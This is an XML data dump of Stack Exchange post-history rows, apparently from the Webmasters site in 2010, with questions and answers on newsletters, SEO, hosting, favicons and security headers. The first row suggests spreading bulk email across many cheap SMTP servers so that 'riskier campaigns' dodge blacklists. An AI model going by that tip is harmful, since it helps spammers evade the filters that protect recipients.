  <row Id="11261" PostHistoryTypeId="5" PostId="5568" RevisionGUID="93b537c0-d1ad-4e33-a00c-05fc242ff20a" CreationDate="2010-11-18T19:45:05.150" UserId="2379" Comment="added 1 characters in body" Text="I have used jangomail, constant contact, and mailchimp.  The best solution i have found is intersprire newsletter manager.  The beauty of their service is that you can own the software and install it on your own server.  Then you can use outside smtp services or setup other SMTP servers to send your emails.&#xD;&#xA;&#xD;&#xA;SMPT.com is far cheaper than using mailchimp, ConstantContact or much of the other newsletter providers.  With the combination of using SMTP.com and Interspire you will save quite a bit of money.  &#xD;&#xA;&#xD;&#xA;Plus for riskier campaigns where you fear you will get blacklisted you can setup numerous STMP servers on cheap hosting accounts and send 500-2k emails a day, monitoring your smtp server to see if it gets blacklisted.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11262" PostHistoryTypeId="2" PostId="5632" RevisionGUID="f00b2e20-a78f-4e3b-bf31-8c468365ec33" CreationDate="2010-11-18T20:42:00.763" UserId="3175" Text="I am trying to add the `&lt;image&gt;` tag to my sitemap, but even trying to look at the XSD , as mentioned by Google at  [http://www.google.com/support/webmasters/bin/answer.py?answer=183668][1] , I get 404 Error not found (the XSD link: [http://www.sitemaps.org/schemas/sitemap-image/1.1][2] ). How is that possible? Is there anyway I can validate it without the XSD?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=183668&#xD;&#xA;  [2]: http://www.sitemaps.org/schemas/sitemap-image/1.1" />
  <row Id="11263" PostHistoryTypeId="1" PostId="5632" RevisionGUID="f00b2e20-a78f-4e3b-bf31-8c468365ec33" CreationDate="2010-11-18T20:42:00.763" UserId="3175" Text="Validating sitemaps with images tag" />
  <row Id="11264" PostHistoryTypeId="3" PostId="5632" RevisionGUID="f00b2e20-a78f-4e3b-bf31-8c468365ec33" CreationDate="2010-11-18T20:42:00.763" UserId="3175" Text="&lt;sitemap&gt;&lt;validation&gt;" />
  <row Id="11265" PostHistoryTypeId="5" PostId="2348" RevisionGUID="602be9b4-85ac-444a-ae8b-4e5e9d2167cd" CreationDate="2010-11-18T21:27:49.657" UserId="1603" Comment="added 61 characters in body" Text="Take a look at **[Composite C1][2]** - it's Free Open Source and available on MS Web Platform Installer and WebMatrix and is imo worth checking out, especially if user friendliness is key. It's based on .NET 4. There is a bunch of UI demo videos here: [http://www.youtube.com/user/compositec1#p/u][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/user/compositec1#p/u&#xD;&#xA;  [2]: http://compositec1.codeplex.com/&#xD;&#xA;" />
  <row Id="11266" PostHistoryTypeId="2" PostId="5633" RevisionGUID="ac964713-360a-4b35-ad61-81bc714a7b62" CreationDate="2010-11-18T21:48:58.583" UserId="2293" Text="You can find your answer in the same link you passed ([http://www.google.com/support/webmasters/bin/answer.py?answer=183668][1]), in the section Sitemap Extensions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=183668" />
  <row Id="11267" PostHistoryTypeId="2" PostId="5634" RevisionGUID="6bb10c1e-60b5-44cb-9dbc-acbea5314c82" CreationDate="2010-11-19T00:05:01.947" UserId="3325" Text="You could look at using Lucene http://lucene.apache.org/java/docs/index.html&#xD;&#xA;This can be &quot;fun&quot; to setup and config &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Google search option mentioned by MattH would be the easiest option to work across your site. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11268" PostHistoryTypeId="2" PostId="5635" RevisionGUID="14a4f63a-e24f-4c2a-8bfb-a027eb5b6267" CreationDate="2010-11-19T00:18:11.977" UserId="3325" Text="Some people may find your webpage before finding you Facebook page. &#xD;&#xA;&#xD;&#xA;Do you have a like button or like box on your webpage?&#xD;&#xA;If you have a like box, visitors to your site could see images of their friends who have liked your site." />
  <row Id="11269" PostHistoryTypeId="2" PostId="5636" RevisionGUID="58c28ae5-c36b-4912-83ef-c2f57260b71e" CreationDate="2010-11-19T02:01:16.357" UserId="3327" Text="By adding &quot;like&quot; buttons to all your content you drastically increase the amount of exposure you can get on Facebook from &quot;likes&quot; simply by the increase in things that can be &quot;liked&quot;." />
  <row Id="11270" PostHistoryTypeId="2" PostId="5638" RevisionGUID="c0887e74-137d-45aa-9876-e55c45af65d9" CreationDate="2010-11-18T10:33:16.827" UserDisplayName="mpapis" Text="for first shot - memory, i think php will be extremely happy with 64MB, JSP starts with 40MB up to gigabytes depending on chosen technologies" />
  <row Id="11271" PostHistoryTypeId="2" PostId="5637" RevisionGUID="2ec138cf-0e25-450c-80b3-07bcea329e69" CreationDate="2010-11-18T10:26:12.183" UserDisplayName="user509953" Text="Is it easy to host a jsp website like PHP? Is the server open source like Apache? and What is the best server for jsp? " />
  <row Id="11272" PostHistoryTypeId="1" PostId="5637" RevisionGUID="2ec138cf-0e25-450c-80b3-07bcea329e69" CreationDate="2010-11-18T10:26:12.183" UserDisplayName="user509953" Text="What is the difference between JSP and PHP regarding hosting? " />
  <row Id="11273" PostHistoryTypeId="3" PostId="5637" RevisionGUID="2ec138cf-0e25-450c-80b3-07bcea329e69" CreationDate="2010-11-18T10:26:12.183" UserDisplayName="user509953" Text="&lt;php&gt;&lt;jsp&gt;&lt;comparison&gt;&lt;web-hosting&gt;" />
  <row Id="11274" PostHistoryTypeId="17" PostId="5637" RevisionGUID="8436756e-f6ed-4d78-afb8-d299d530eb48" CreationDate="2010-11-19T03:48:01.250" UserId="-1" Comment="from http://stackoverflow.com/questions/4213770/what-is-the-difference-between-jsp-and-php-regarding-hosting" Text="" />
  <row Id="11275" PostHistoryTypeId="5" PostId="5593" RevisionGUID="20aaa20b-70bf-4f16-b945-43be340f7442" CreationDate="2010-11-19T04:24:05.857" UserId="3080" Comment="added 310 characters in body" Text="What is the best application development platform for database applications?&#xD;&#xA;I need a platform/technology to build a web or windows application that is &#xD;&#xA;&#xD;&#xA; 1. database centric  &#xD;&#xA; &#xD;&#xA; 2. builds forms from database automatically. &#xD;&#xA; 3. allows out of the box ACL and user management system&#xD;&#xA;&#xD;&#xA;Edit: Ok, I guess the request for windows and web related technologies is confounding many a people. The requirement is to build an application for a group of users over a LAN. These users use Windows as their OS. Since the application would only be required to be accessed over LAN, I considered both options." />
  <row Id="11276" PostHistoryTypeId="2" PostId="5639" RevisionGUID="17c189dd-6bdf-405c-aa44-3e47358ad177" CreationDate="2010-11-19T05:15:41.527" UserId="2044" Text="I have read that links to rel=&quot;nofollow&quot; doesn't help in pagerank or SEO.&#xD;&#xA;&#xD;&#xA;I used google webmaster tool to find out the external links pointing to my website [ http://www.sunshinetrekking.com ]. &#xD;&#xA;&#xD;&#xA;In results i found some links from posted in facebook too with rel=&quot;nofollow&quot;. Now I have been confused that whether those links from facebooks are helping to promote my Pagerank and SEO or not?" />
  <row Id="11277" PostHistoryTypeId="1" PostId="5639" RevisionGUID="17c189dd-6bdf-405c-aa44-3e47358ad177" CreationDate="2010-11-19T05:15:41.527" UserId="2044" Text="Does rel=&quot;nofollow&quot; link helps in SEO" />
  <row Id="11278" PostHistoryTypeId="3" PostId="5639" RevisionGUID="17c189dd-6bdf-405c-aa44-3e47358ad177" CreationDate="2010-11-19T05:15:41.527" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;links&gt;" />
  <row Id="11279" PostHistoryTypeId="2" PostId="5640" RevisionGUID="4e365d2c-f156-4b92-ad6c-bc616e712f4b" CreationDate="2010-11-19T05:50:16.097" UserId="745" Text="If Page A links to Page B with a nofollow link, no PageRank will be passed from A to B. &#xD;&#xA;&#xD;&#xA;That said, don't forget that the whole purpose of SEO is to get visitors. If Page A can help Page B get visitors, even if it doesn't pass PageRank, then the link is doing its job." />
  <row Id="11280" PostHistoryTypeId="5" PostId="5639" RevisionGUID="9a3db7b8-914f-4de2-ae82-31d6bf0af38b" CreationDate="2010-11-19T05:51:44.363" UserId="745" Comment="Removed link as it doesn't contribute to the question and could be considered spammy - The question is good otherwise." Text="I have read that links to rel=&quot;nofollow&quot; doesn't help in pagerank or SEO.&#xD;&#xA;&#xD;&#xA;I used google webmaster tool to find out the external links pointing to my website. &#xD;&#xA;&#xD;&#xA;In results i found some links from posted in facebook too with rel=&quot;nofollow&quot;. Now I have been confused that whether those links from facebooks are helping to promote my Pagerank and SEO or not?" />
  <row Id="11281" PostHistoryTypeId="2" PostId="5641" RevisionGUID="7230e10d-82e7-4037-91cf-4494d4aaa4a6" CreationDate="2010-11-19T06:28:49.293" UserId="3331" Text="I'm extremely new to hosting, and i've just finished developing a site for my friend. If you were to select a web host with great support and affordable price, which one would it be?" />
  <row Id="11282" PostHistoryTypeId="1" PostId="5641" RevisionGUID="7230e10d-82e7-4037-91cf-4494d4aaa4a6" CreationDate="2010-11-19T06:28:49.293" UserId="3331" Text="The best web hosting option to start off on" />
  <row Id="11283" PostHistoryTypeId="3" PostId="5641" RevisionGUID="7230e10d-82e7-4037-91cf-4494d4aaa4a6" CreationDate="2010-11-19T06:28:49.293" UserId="3331" Text="&lt;web-hosting&gt;&lt;web&gt;" />
  <row Id="11284" PostHistoryTypeId="2" PostId="5642" RevisionGUID="3827f226-bd6d-4dc8-a588-0cb81239ca0d" CreationDate="2010-11-19T07:10:59.647" UserId="3111" Text="No, I think that's about the best reason, so people can tell their friends about a site, without having to copy or type the url into their facebook etc." />
  <row Id="11285" PostHistoryTypeId="5" PostId="5616" RevisionGUID="9971bd67-effe-4ccc-956d-c7abafdb7ef8" CreationDate="2010-11-19T07:44:13.160" UserId="1993" Comment="32x32" Text="I have a 32x32 favicon (in .ico format) that shows up fine in Firefox 3.6.12 and Chrome 5.0.375.70. But in Internet Explorer 7.0.5730.13 it looks terrible. It also looks bad in Windows Explorer (XP).&#xD;&#xA;&#xD;&#xA;(Hmmm, I can't upload it - perhaps .ico format is blocked?)&#xD;&#xA;&#xD;&#xA;(It's not IE8 but there is no other tag)" />
  <row Id="11286" PostHistoryTypeId="2" PostId="5643" RevisionGUID="4aa7dab8-de7a-49a6-afc1-4203c70f1fb2" CreationDate="2010-11-19T08:19:48.833" UserId="2044" Text="I would like to know the pros and cons of free webhosting vs paid webhosting.&#xD;&#xA;What are the factors due to which we should move on to paid web hosting?" />
  <row Id="11287" PostHistoryTypeId="1" PostId="5643" RevisionGUID="4aa7dab8-de7a-49a6-afc1-4203c70f1fb2" CreationDate="2010-11-19T08:19:48.833" UserId="2044" Text="Free webhosting Vs Paid webhosting" />
  <row Id="11288" PostHistoryTypeId="3" PostId="5643" RevisionGUID="4aa7dab8-de7a-49a6-afc1-4203c70f1fb2" CreationDate="2010-11-19T08:19:48.833" UserId="2044" Text="&lt;web-hosting&gt;" />
  <row Id="11289" PostHistoryTypeId="2" PostId="5644" RevisionGUID="b0e3a288-12fa-4bf7-a1fa-e5e2155a2e2c" CreationDate="2010-11-19T08:55:25.697" UserId="1647" Text="Compared to some years ago, hosting is become really cheap. Today you can buy an affordable hosting service for $20 - $50 per year.&#xD;&#xA;&#xD;&#xA;Paid hosting usually offer additional reliability compared to free hosting. Also, you don't need to agree with all the limitation free hosting usually impose you such as:&#xD;&#xA;&#xD;&#xA;* ads&#xD;&#xA;* limited resources&#xD;&#xA;* no customer support&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11290" PostHistoryTypeId="2" PostId="5645" RevisionGUID="057d726b-6fdb-4f48-9b24-4948843b5ab6" CreationDate="2010-11-19T10:53:50.430" UserId="3307" Text="Shared hosting is probably the way forward. Something like what Dreamhost does. &#xD;&#xA;&#xD;&#xA;Have a look around to find something that both fits your budget but also look at reviews. Just remember that you get what you pay for, so don't be fooled by companies offering free web hosting." />
  <row Id="11291" PostHistoryTypeId="2" PostId="5646" RevisionGUID="2e6a6450-b2db-4813-9617-6ed257ea538b" CreationDate="2010-11-19T10:56:53.890" UserId="3307" Text="One more thing to think about is something like bit.ly Pro. You can have your own domain, but with all the speed and analytics from bit.ly.&#xD;&#xA;&#xD;&#xA;I know that it's still relying on someone else's service, but bit.ly is probably the biggest provider on the web so if they went down, a hell of a lot of people's links would break" />
  <row Id="11292" PostHistoryTypeId="2" PostId="5647" RevisionGUID="ea102596-5d5b-41b8-9f5e-54ed586fffc5" CreationDate="2010-11-19T11:00:00.393" UserId="3307" Text="It's worth reading this: http://www.metafilter.com/43557/Blogging-unanonymously&#xD;&#xA;&#xD;&#xA;domain by proxy isn't as private as you might think." />
  <row Id="11293" PostHistoryTypeId="2" PostId="5648" RevisionGUID="1cd5115a-602a-4d73-a5fc-e62f921a98ba" CreationDate="2010-11-19T11:16:25.410" UserId="2294" Text="assume you have a blog post... **domain.com/blogid/title**&#xD;&#xA;&#xD;&#xA;and then you have 500 comments on that post.&#xD;&#xA;&#xD;&#xA;your blog page shows your post and 10 comments, and then you page comments using ajax. I was thinking about having a link on the blog page with something like &quot;view all comments&quot; and its url would like **domain.com/comments/blogid** so that users with javascript turned off and googlebot and read all comments by visiting that page. but obviously, first 10 comments would be duplicated, and how does googlebot link the comments back to the original blog post? &#xD;&#xA;&#xD;&#xA;Basically, how should I do ajax paging so that it's SEO (googlebot) friendly" />
  <row Id="11294" PostHistoryTypeId="1" PostId="5648" RevisionGUID="1cd5115a-602a-4d73-a5fc-e62f921a98ba" CreationDate="2010-11-19T11:16:25.410" UserId="2294" Text="ajax paging - duplicate content - seo" />
  <row Id="11295" PostHistoryTypeId="3" PostId="5648" RevisionGUID="1cd5115a-602a-4d73-a5fc-e62f921a98ba" CreationDate="2010-11-19T11:16:25.410" UserId="2294" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="11296" PostHistoryTypeId="2" PostId="5649" RevisionGUID="c80ee9f0-8aaf-40c5-8ba5-7e9d49c2d671" CreationDate="2010-11-19T11:38:02.787" UserId="1993" Text="It turns out that the solution, at least in my case, is to save in 32x32 .ico format but **with the transparency turned off**." />
  <row Id="11297" PostHistoryTypeId="2" PostId="5650" RevisionGUID="96f28dc3-f38c-4733-bcf7-34b6589ea0cc" CreationDate="2010-11-19T11:51:35.100" UserDisplayName="sreekanth" Text="I have used the css style sheet as font-family:arial,helvicta,sans-serif,etc... in a php file when i checked it in browser i dont know which font it is using from the font-family . i wanted to know the exact font used by the browser to display.&#xD;&#xA;i.e whether it is using arial or helvicta or sans-serif for the text i have displayed. please any one let me know to find this. i have checked by putting this in wordpad but it is taking my default system font. &#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;" />
  <row Id="11298" PostHistoryTypeId="1" PostId="5650" RevisionGUID="96f28dc3-f38c-4733-bcf7-34b6589ea0cc" CreationDate="2010-11-19T11:51:35.100" UserDisplayName="sreekanth" Text="How to find the exact font used by the browser." />
  <row Id="11299" PostHistoryTypeId="3" PostId="5650" RevisionGUID="96f28dc3-f38c-4733-bcf7-34b6589ea0cc" CreationDate="2010-11-19T11:51:35.100" UserDisplayName="sreekanth" Text="&lt;css&gt;&lt;fonts&gt;&lt;browsers&gt;" />
  <row Id="11300" PostHistoryTypeId="17" PostId="5650" RevisionGUID="cda07874-ced0-4c94-9a49-d7d0c0870731" CreationDate="2010-11-19T12:15:44.837" UserId="-1" Comment="from http://serverfault.com/questions/203881/how-to-find-the-exact-font-used-by-the-browser" Text="" />
  <row Id="11301" PostHistoryTypeId="2" PostId="5651" RevisionGUID="9671baa7-8881-4551-bae8-d53f165dc76c" CreationDate="2010-11-19T12:57:58.067" UserId="1253" Text="That won't be an issue. Some of the content is duplicate but not enough of it is to be considered duplicate content. If it were enough then every ecommerce store that sold the same product and used the manufacturers description would be considered duplicate content and only the first to publish it would be in the SERPs. That would be *insane*.&#xD;&#xA;&#xD;&#xA;If you want to display all of the comments for a page and have it associated to a post, have a link that displays all of the comments and the blog post as well. Use rel=&quot;canonical&quot; on the version of the page you want to show in the SERPs. " />
  <row Id="11302" PostHistoryTypeId="2" PostId="5652" RevisionGUID="29f10c6b-1bb7-4be9-a7eb-9565475a78e9" CreationDate="2010-11-19T13:06:56.377" UserId="1253" Text="There is no way to know. But it shouldn't matter. A properly designed will render properly and be usable regardless of the font the user's system uses. I wouldn't be worrying about this." />
  <row Id="11303" PostHistoryTypeId="2" PostId="5654" RevisionGUID="128b0cf1-9b16-4718-9968-450cd2fb275d" CreationDate="2010-11-19T13:05:44.993" UserId="1396" Text="You mean *interpret* JavaScript? It *does* request the JavaScript files. &#xD;&#xA;&#xD;&#xA;And I'm pretty sure it does, to some degree. &#xD;&#xA;&#xD;&#xA;[T.J. Crowder's answer][1] confirms this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4225250/does-the-google-spider-render-javascript/4225271#4225271" />
  <row Id="11304" PostHistoryTypeId="2" PostId="5655" RevisionGUID="ebdd51d6-0b35-40a0-b448-19ea678fc32d" CreationDate="2010-11-19T13:05:53.350" UserId="274" Text="No, it doesn't (for the most part), most crawlers don't do this (they are working on this though).&#xD;&#xA;&#xD;&#xA;As a rule of thumb (until this changes) browse your site with JavaScript disabled to see what your crawled site looks like." />
  <row Id="11305" PostHistoryTypeId="2" PostId="5656" RevisionGUID="0d1f39a1-8649-48ed-9f39-1bd39dbff474" CreationDate="2010-11-19T13:06:12.637" UserDisplayName="T.J. Crowder" Text="Apparently it does, some, [according to Matt Cutts][1]:&#xD;&#xA;&#xD;&#xA;&gt;  &quot;For a while, we were scanning within JavaScript, and we were looking for links. Google has gotten smarter about JavaScript and can execute some JavaScript. I wouldn't say that we execute all JavaScript, so there are some conditions in which we don't execute JavaScript. Certainly there are some common, well-known JavaScript things like Google Analytics, which you wouldn't even want to execute because you wouldn't want to try to generate phantom visits from Googlebot into your Google Analytics&quot;. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchnewz.com/topstory/news/sn-2-20100315SEOInterviewwithMattCutts.html" />
  <row Id="11306" PostHistoryTypeId="2" PostId="5657" RevisionGUID="d4e745d6-05ba-431b-8fa6-033c0408ee1c" CreationDate="2010-11-19T13:09:16.647" UserDisplayName="Ivo Wetzel" Text="It does, partly, as a quick Google search reveals:  &#xD;&#xA;http://blogs.forbes.com/velocity/2010/06/25/google-isnt-just-reading-your-links-its-now-running-your-code/&#xD;&#xA;&#xD;&#xA;Still Google is relatively quiet on what the bot exactly understands." />
  <row Id="11307" PostHistoryTypeId="2" PostId="5653" RevisionGUID="1576b424-4a2d-4d94-85e2-5d40817d3a1c" CreationDate="2010-11-19T13:03:14.390" UserDisplayName="significance" Text="I was just wondering if the google spider that makes their search results knows how to render javascript, or just HTML?" />
  <row Id="11308" PostHistoryTypeId="1" PostId="5653" RevisionGUID="1576b424-4a2d-4d94-85e2-5d40817d3a1c" CreationDate="2010-11-19T13:03:14.390" UserDisplayName="significance" Text="Does the google spider render javascript?" />
  <row Id="11309" PostHistoryTypeId="3" PostId="5653" RevisionGUID="1576b424-4a2d-4d94-85e2-5d40817d3a1c" CreationDate="2010-11-19T13:03:14.390" UserDisplayName="significance" Text="&lt;javascript&gt;&lt;google&gt;&lt;seo&gt;&lt;spider&gt;" />
  <row Id="11310" PostHistoryTypeId="17" PostId="5653" RevisionGUID="1c52da5f-3fbf-4bb3-9c13-6f8f9bdc6d68" CreationDate="2010-11-19T13:18:35.557" UserId="-1" Comment="from http://stackoverflow.com/questions/4225250/does-the-google-spider-render-javascript" Text="" />
  <row Id="11311" PostHistoryTypeId="2" PostId="5658" RevisionGUID="9c6f8390-40b6-4d5b-bd88-82598d03f893" CreationDate="2010-11-19T13:24:25.023" UserId="3335" Text="What are the Important fields in HTTP header from security perspective? I tried to google it but unable to find. Can anybody provide me a link to read about it? Thanks in advance.&#xD;&#xA;" />
  <row Id="11312" PostHistoryTypeId="1" PostId="5658" RevisionGUID="9c6f8390-40b6-4d5b-bd88-82598d03f893" CreationDate="2010-11-19T13:24:25.023" UserId="3335" Text="Important fields in HTTP header from security perspective" />
  <row Id="11313" PostHistoryTypeId="3" PostId="5658" RevisionGUID="9c6f8390-40b6-4d5b-bd88-82598d03f893" CreationDate="2010-11-19T13:24:25.023" UserId="3335" Text="&lt;web-development&gt;&lt;security&gt;&lt;http-headers&gt;" />
  <row Id="11314" PostHistoryTypeId="2" PostId="5659" RevisionGUID="78f0a1cd-5f75-4565-8617-38c03d31d76b" CreationDate="2010-11-19T13:25:27.123" UserId="1757" Text="I don't think AJAX is the issue here. The AJAX part of it would simply not be visible to search engines. It's the non-AJAX comment link that is the issue.&#xD;&#xA;&#xD;&#xA;I suspect if you have 500 comments, then it won't be an issue since there's relatively little duplicate content. However, if you only have 11-15 comments, then the majority of the comments page will be duplicate content, and that could be an issue.&#xD;&#xA;&#xD;&#xA;I'm not sure there's a way around this aside from putting a canonical tag pointing to the original page. But this would mean that only the first 10 comments are indexed and searchable. I suppose you could select which 10 comments to display on the original page so that the best comments are indexed, but this still seems suboptimal.&#xD;&#xA;&#xD;&#xA;So in terms of SEO there really isn't a good solution for this problem. Most blogs with paginated comments just live with the duplicate content. You could cluster the comments so that each comment page is at least 50% different from the other pages, but this would result in the number of comments on each page becoming unpredictable, which is poor for usability." />
  <row Id="11315" PostHistoryTypeId="2" PostId="5660" RevisionGUID="1afb1ece-e9bc-41cc-905f-312c053097d7" CreationDate="2010-11-19T13:46:51.377" UserId="1757" Text="If you want to run a commercial site or a site otherwise tied to your professional career (e.g. a professional portfolio), then it pays to create a professional website. This means:&#xD;&#xA;&#xD;&#xA; - your own domain&#xD;&#xA; - (good) paid hosting&#xD;&#xA; - professional design&#xD;&#xA; - professional CMS (at least something like Wordpress)&#xD;&#xA;&#xD;&#xA;If someone isn't willing to invest a few thousand dollars in their company website or spend $10/month to host their professional portfolio, then what does that say about this person's commitment or valuation of their own business/career? Would you invest $5000 in that person's product or services? I wouldn't; I'd question whether they're serious about their career or if their business is floundering ($120/year should not be a big expenditure for a healthy business).&#xD;&#xA;&#xD;&#xA;Heck, these days people buy paid hosting even just for their personal sites. High school students are using paid hosting for their gaming clan websites or their garage bands. So unless you are destitute or not sure if you want/need a website, then there's no reason not to get paid hosting." />
  <row Id="11316" PostHistoryTypeId="2" PostId="5661" RevisionGUID="6718fbe7-a3ad-4e33-aac2-6c51b9988b6c" CreationDate="2010-11-19T14:10:21.027" UserId="1253" Text="Here's some I use:&#xD;&#xA;&#xD;&#xA;    # Don't allow any pages to be framed by my site or any others&#xD;&#xA;    # Defends against CSRF &#xD;&#xA;    Header set X-Frame-Options DENY&#xD;&#xA;    &#xD;&#xA;    # Only allow JavaScript from domain to be run.&#xD;&#xA;    # Also, don't allow inline JavaScript to run. &#xD;&#xA;    Header set X-Content-Security-Policy &quot;allow 'self';&quot;&#xD;&#xA;    &#xD;&#xA;    # Don't send out the Server header. This way no one knows what &#xD;&#xA;    # version of Apache and PHP I am using&#xD;&#xA;    Header unset Server&#xD;&#xA;&#xD;&#xA;Useful inks:&#xD;&#xA;&#xD;&#xA;  https://developer.mozilla.org/en/the_x-frame-options_response_header&#xD;&#xA;  https://wiki.mozilla.org/Security/CSP/Specification" />
  <row Id="11317" PostHistoryTypeId="5" PostId="5661" RevisionGUID="3ffc2ac0-e3ab-4879-8fc5-316d0aafa905" CreationDate="2010-11-19T14:45:06.283" UserId="1253" Comment="added 179 characters in body; added 2 characters in body" Text="Here's some I use:&#xD;&#xA;&#xD;&#xA;    # Don't allow any pages to be framed by my site or any others&#xD;&#xA;    # Defends against CSRF &#xD;&#xA;    Header set X-Frame-Options DENY&#xD;&#xA;    &#xD;&#xA;    # Only allow JavaScript from domain to be run.&#xD;&#xA;    # Also, don't allow inline JavaScript to run. &#xD;&#xA;    Header set X-Content-Security-Policy &quot;allow 'self';&quot;&#xD;&#xA;&#xD;&#xA;    # Turns on IE 8 XSS prevention tools&#xD;&#xA;    Header set X-XSS-Protection &quot;1; mode=block&quot;&#xD;&#xA;    &#xD;&#xA;    # Don't send out the Server header. This way no one knows what &#xD;&#xA;    # version of Apache and PHP I am using&#xD;&#xA;    Header unset Server&#xD;&#xA;&#xD;&#xA;Useful inks:&#xD;&#xA;&#xD;&#xA;  https://developer.mozilla.org/en/the_x-frame-options_response_header&#xD;&#xA;  https://wiki.mozilla.org/Security/CSP/Specification&#xD;&#xA;  http://www.google.com/support/forum/p/Web%20Search/thread?tid=187e02e745a50a77&amp;hl=en" />
  <row Id="11318" PostHistoryTypeId="5" PostId="5661" RevisionGUID="58d81e65-1ba1-4fdc-bc20-815e30e93a6c" CreationDate="2010-11-19T15:01:15.980" UserId="1253" Comment="added 9 characters in body" Text="Here's some I use:&#xD;&#xA;&#xD;&#xA;    # Don't allow any pages to be framed by my site or any others&#xD;&#xA;    # Defends against CSRF &#xD;&#xA;    Header set X-Frame-Options DENY&#xD;&#xA;    &#xD;&#xA;    # Only allow JavaScript from the same domain to be run.&#xD;&#xA;    # Also, don't allow inline JavaScript to run. &#xD;&#xA;    Header set X-Content-Security-Policy &quot;allow 'self';&quot;&#xD;&#xA;&#xD;&#xA;    # Turns on IE 8 XSS prevention tools&#xD;&#xA;    Header set X-XSS-Protection &quot;1; mode=block&quot;&#xD;&#xA;    &#xD;&#xA;    # Don't send out the Server header. This way no one knows what &#xD;&#xA;    # version of Apache and PHP I am using&#xD;&#xA;    Header unset Server&#xD;&#xA;&#xD;&#xA;Useful inks:&#xD;&#xA;&#xD;&#xA;  https://developer.mozilla.org/en/the_x-frame-options_response_header&#xD;&#xA;  https://wiki.mozilla.org/Security/CSP/Specification&#xD;&#xA;  http://www.google.com/support/forum/p/Web%20Search/thread?tid=187e02e745a50a77&amp;hl=en" />
  <row Id="11319" PostHistoryTypeId="5" PostId="5649" RevisionGUID="b51a0f2b-7b9b-4210-b612-6d2ff1549240" CreationDate="2010-11-19T15:06:57.527" UserId="1993" Comment="added 220 characters in body" Text="It turns out that the solution, at least in my case, is to save in 32x32 .ico format but **with the transparency turned off**.&#xD;&#xA;&#xD;&#xA;In addition - when I use this in MediaWiki it only goes wrong using the default name: **favicon.ico**. When I use a non default name, the problem goes away!&#xD;&#xA;&#xD;&#xA;In Local Settings.php:&#xD;&#xA;&#xD;&#xA;    $wgFavicon = '&lt;name&gt;.ico';" />
  <row Id="11320" PostHistoryTypeId="2" PostId="5662" RevisionGUID="5acecebb-307b-49da-b827-f8b136866436" CreationDate="2010-11-19T15:08:10.007" UserId="172" Text="I am building a small portfolio website for a friend, and being in advertising and all, she hates the standard fonts and wants everything written in a custom font.&#xD;&#xA;&#xD;&#xA;As CSS font-embedding is not really an option for the moment, all texts (fortunately, there are not many of them) will be put as images.&#xD;&#xA;&#xD;&#xA;How could I still have the images content indexed ? For small texts (links, menu, etc...), I put the text in the alt attribute, but for something longer, I don't think that's the solution. What can I do ? Put the text in a hidden div next to the image ?" />
  <row Id="11321" PostHistoryTypeId="1" PostId="5662" RevisionGUID="5acecebb-307b-49da-b827-f8b136866436" CreationDate="2010-11-19T15:08:10.007" UserId="172" Text="SEO for image-based website" />
  <row Id="11322" PostHistoryTypeId="3" PostId="5662" RevisionGUID="5acecebb-307b-49da-b827-f8b136866436" CreationDate="2010-11-19T15:08:10.007" UserId="172" Text="&lt;seo&gt;&lt;indexing&gt;&lt;image&gt;&lt;text&gt;" />
  <row Id="11323" PostHistoryTypeId="2" PostId="5663" RevisionGUID="20d736db-ca01-4c08-b190-9a781e8a1d14" CreationDate="2010-11-19T15:15:43.897" UserId="1253" Text="Yuck. She really needs to get over her font issues as she's killing the accessibility of her site and is causing all other kinds of issues like slowing down the rendering of her pages, etc.&#xD;&#xA;&#xD;&#xA;Having said that you can try adding the [`longdesc`][1] attribute to your images. It's hard to say how much weight, if any, the search engines give to it but it's probably more then zero.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/TAGS/att_img_longdesc.asp" />
  <row Id="11324" PostHistoryTypeId="2" PostId="5664" RevisionGUID="35d31ba2-5d7a-4b45-9827-0bcc1700bee4" CreationDate="2010-11-19T15:16:32.310" UserId="3339" Text="I've been experimenting with `Google Code` and `Sourceforge` and the like, and am happy with what I've found. The main problem with them, is that you have to have your project be open source to use them, so anybody can edit them.&#xD;&#xA;&#xD;&#xA;So... is there some way I can have my own svn repositories on [my own server?][1] I have FTP access, cpanel, and all that. If it helps any:&#xD;&#xA;&#xD;&#xA;        Operating system    Linux&#xD;&#xA;        cPanel Version      11.26.20&#xD;&#xA;        Architecture        x86_64&#xD;&#xA;        MySQL version       5.0.91-community-log&#xD;&#xA;        Apache version      2.2.13&#xD;&#xA;        PHP version         5.2.11&#xD;&#xA;        cPanel Pro          1.0 (RC1)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://theadamgaskins.com/" />
  <row Id="11325" PostHistoryTypeId="1" PostId="5664" RevisionGUID="35d31ba2-5d7a-4b45-9827-0bcc1700bee4" CreationDate="2010-11-19T15:16:32.310" UserId="3339" Text="Hosting my own SVN repositories" />
  <row Id="11326" PostHistoryTypeId="3" PostId="5664" RevisionGUID="35d31ba2-5d7a-4b45-9827-0bcc1700bee4" CreationDate="2010-11-19T15:16:32.310" UserId="3339" Text="&lt;web-hosting&gt;&lt;subversion&gt;" />
